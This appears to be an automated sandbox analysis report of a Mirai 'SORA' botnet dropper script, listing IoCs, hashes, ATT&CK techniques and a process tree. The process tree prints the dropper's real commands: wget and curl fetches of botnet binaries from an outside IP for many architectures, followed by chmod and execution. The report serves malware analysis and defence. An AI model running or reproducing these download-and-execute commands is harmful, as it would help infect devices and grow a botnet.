mirai | 5407adfb8b731bd05cdde6d94a985842a343b60fbc5a8658b317ad852aea775d

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
08/04/2025, 09:27

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General

Target

lg.sh
Size

2KB
MD5

f8872ee3b57a58ccfa43119fd614fbd1
SHA1

b0912a7688fdd33c8b3e15f1c298df7685385dd3
SHA256

5407adfb8b731bd05cdde6d94a985842a343b60fbc5a8658b317ad852aea775d
SHA512

6f66d006a56b79fcfbaa1b01eb1babf08527760b93dae3787f43790b5a8932284940e260a58f2c2b733b0bfadfbc370833911864876cb54ab87d415c3faac80d

Score

10^/10

mirai sora botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

SORA

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (41447) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
823	chmod
863	chmod
873	chmod
879	chmod
890	chmod
744	chmod
750	chmod
768	chmod
793	chmod
834	chmod
885	chmod
896	chmod
738	chmod
812	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/robben	739	lg.sh
/tmp/robben	745	lg.sh
/tmp/robben	751	lg.sh
/tmp/robben	769	lg.sh
/tmp/robben	794	lg.sh
/tmp/robben	813	lg.sh
/tmp/robben	824	lg.sh
/tmp/robben	835	lg.sh
/tmp/robben	864	lg.sh
/tmp/robben	874	lg.sh
/tmp/robben	880	lg.sh
/tmp/robben	886	lg.sh
/tmp/robben	891	lg.sh
/tmp/robben	897	lg.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	robben
File opened for modification	/dev/watchdog	robben

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-4.dat	upx
behavioral4/files/fstream-5.dat	upx
behavioral4/files/fstream-7.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	ad11ppphj00f1	813	robben

Reads runtime system information 32 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/666/exe	robben
File opened for reading	/proc/669/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/712/exe	robben
File opened for reading	/proc/818/exe	robben
File opened for reading	/proc/676/exe	robben
File opened for reading	/proc/814/exe	robben
File opened for reading	/proc/675/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/699/exe	robben
File opened for reading	/proc/705/exe	robben
File opened for reading	/proc/790/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/430/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/704/exe	robben
File opened for reading	/proc/706/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/826/exe	robben
File opened for reading	/proc/830/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/686/exe	robben
File opened for reading	/proc/708/exe	robben
File opened for reading	/proc/799/exe	robben

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
741	wget
742	curl
743	cat

Writes file to tmp directory 26 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sora.arm6	wget
File opened for modification	/tmp/sora.ppc	curl
File opened for modification	/tmp/sora.x86	wget
File opened for modification	/tmp/sora.arm7	wget
File opened for modification	/tmp/sora.m68k	wget
File opened for modification	/tmp/sora.m68k	curl
File opened for modification	/tmp/sora.sh4	wget
File opened for modification	/tmp/sora.i686	curl
File opened for modification	/tmp/sora.mpsl	wget
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/robben	lg.sh
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.x86_64	wget
File opened for modification	/tmp/sora.i468	curl
File opened for modification	/tmp/sora.arm6	curl
File opened for modification	/tmp/sora.mpsl	curl
File opened for modification	/tmp/sora.arm4	curl
File opened for modification	/tmp/sora.arm5	wget
File opened for modification	/tmp/sora.arm7	curl
File opened for modification	/tmp/sora.ppc	wget
File opened for modification	/tmp/sora.ppc440fp	curl
File opened for modification	/tmp/sora.sh4	curl
File opened for modification	/tmp/sora.mips	wget
File opened for modification	/tmp/sora.x86_64	curl
File opened for modification	/tmp/sora.i686	wget
File opened for modification	/tmp/sora.arm5	curl

/tmp/lg.sh
/tmp/lg.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:708
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.x86
  2⤵
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/cat
  cat sora.x86
  2⤵
  PID:737
- /bin/chmod
  chmod +x lg.sh robben sora.x86 systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BKqPTx
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:739
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:743
- /bin/chmod
  chmod +x lg.sh robben sora.mips sora.x86 systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BKqPTx
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:745
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.x86_64
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:749
- /bin/chmod
  chmod +x lg.sh robben sora.mips sora.x86 sora.x86_64 systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BKqPTx
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:751
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.i468
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/cat
  cat sora.i468
  2⤵
  PID:766
- /bin/chmod
  chmod +x lg.sh robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BKqPTx
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:769
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.i686
  2⤵
  - Writes file to tmp directory
  PID:771
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:780
- /bin/cat
  cat sora.i686
  2⤵
  PID:792
- /bin/chmod
  chmod +x lg.sh robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BKqPTx
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:794
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.mpsl
  2⤵
  - Writes file to tmp directory
  PID:798
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:811
- /bin/chmod
  chmod +x lg.sh robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BKqPTx
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/robben
  ./robben lg.exploit
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:813
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.arm4
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/cat
  cat sora.arm4
  2⤵
  PID:822
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BKqPTx
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:824
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.arm5
  2⤵
  - Writes file to tmp directory
  PID:825
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:826
- /bin/cat
  cat sora.arm5
  2⤵
  PID:832
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-bfd316a2a8fb439f9c2b0a5f4e127d58-systemd-timedated.service-BKqPTx
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:835
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.arm6
  2⤵
  - Writes file to tmp directory
  PID:838
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/cat
  cat sora.arm6
  2⤵
  PID:861
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:864
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.arm7
  2⤵
  - Writes file to tmp directory
  PID:867
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/cat
  cat sora.arm7
  2⤵
  PID:872
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:874
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.ppc
  2⤵
  - Writes file to tmp directory
  PID:876
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/cat
  cat sora.ppc
  2⤵
  PID:878
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:880
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.ppc440fp
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:884
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:886
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.m68k
  2⤵
  - Writes file to tmp directory
  PID:887
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/cat
  cat sora.m68k
  2⤵
  PID:889
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:891
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.sh4
  2⤵
  - Writes file to tmp directory
  PID:893
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/cat
  cat sora.sh4
  2⤵
  PID:895
- /bin/chmod
  chmod +x lg.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/robben
  ./robben lg.exploit
  2⤵
  PID:897

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/robben

Filesize
28KB

MD5
c665be249de8aacbf7f020710556850f

SHA1
7bf15fe8983c1a7304ecb626385fd8d656657750

SHA256
c70c7d6288ddd3de1e999fef3e15a4cb7d23656de44209d834ea08c97f26f2c3

SHA512
2125eacc929f9f6ab5232960153e3a3c2d554cd3f65fa7fb97324a275ce27034621999f2922aaa2a4beeeda75d09b2ff89aab6417e2f93329f56ce2529cd14d8

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/tmp/robben

Filesize
28KB

MD5
cb095025fabaf4935e7cde669f9b83cb

SHA1
f057ff497853eac9b47772ae58a6be561c16edf7

SHA256
d0a729eda4e98c132a68864f1feb9f2676840909d2584c4e8225ac058af1581f

SHA512
e4df6b3d5de8f2e09c31321931f471b2acf08f24457ac13c59aa24ede5e579db85c07cd447015ddfcf00be0d828277c03598bb732aad9e4928f83c54b7a18739

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/tmp/robben

Filesize
212B

MD5
83ab6cd9a67528bbc6f4f360cb7f8d83

SHA1
07e8f17209e0569aab39f062568ff0090d9b20d4

SHA256
3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435

SHA512
171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f

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/tmp/robben

Filesize
28KB

MD5
659a441fb5d03828d0e1dcdc8e94515c

SHA1
bf70af5209d2a89bd12c9a9d4b148ddd9b4af02f

SHA256
0e878390d0a19156525789562bacf861294b18a9308312e4a9c943d6e900ff44

SHA512
25d5d73027f64202338f40ae6ee71b12fa64db01e5b82afe2a3bb7abb415c19246b4368ddb1f98041a439155cadafd7eb7894e67eb31d84f205acc62b70d6cb8

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/tmp/robben

Filesize
64KB

MD5
d3114b8b81fe0dabf36ebb38e3f69ffe

SHA1
ef38c94966a0649c3797af3adb5287c887ef122a

SHA256
2d760402220357d43f57edbef3d9e8d9f0526a6c677b4cb77dd63eaceb6f67d1

SHA512
d43b02f9ca7a489270f552c1a89b3c6d36270fa06090a9cdfe64f506ac3d0eb344de161a25c639128ac66ac77573b389087f36939177f3cc189ec39a23addc72

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/tmp/sora.x86

Filesize
27KB

MD5
ed0134170c819d0a2c3526f5ed8ecad5

SHA1
af1324bb6e6554b496e5938185f74456b69e54e1

SHA256
cd67a9db1c069d8a9ee68a76c68d20c53659d319425ecabf8a0c5b193aeb6fe8

SHA512
98ebd8a6a42f7c3a324cacc429d27fdd5cecf9995971adefdef184e15926741263a19429fa2966a4ced0d00fa715a36028e23b8e7cf5a5e0e567296d34b56ab6

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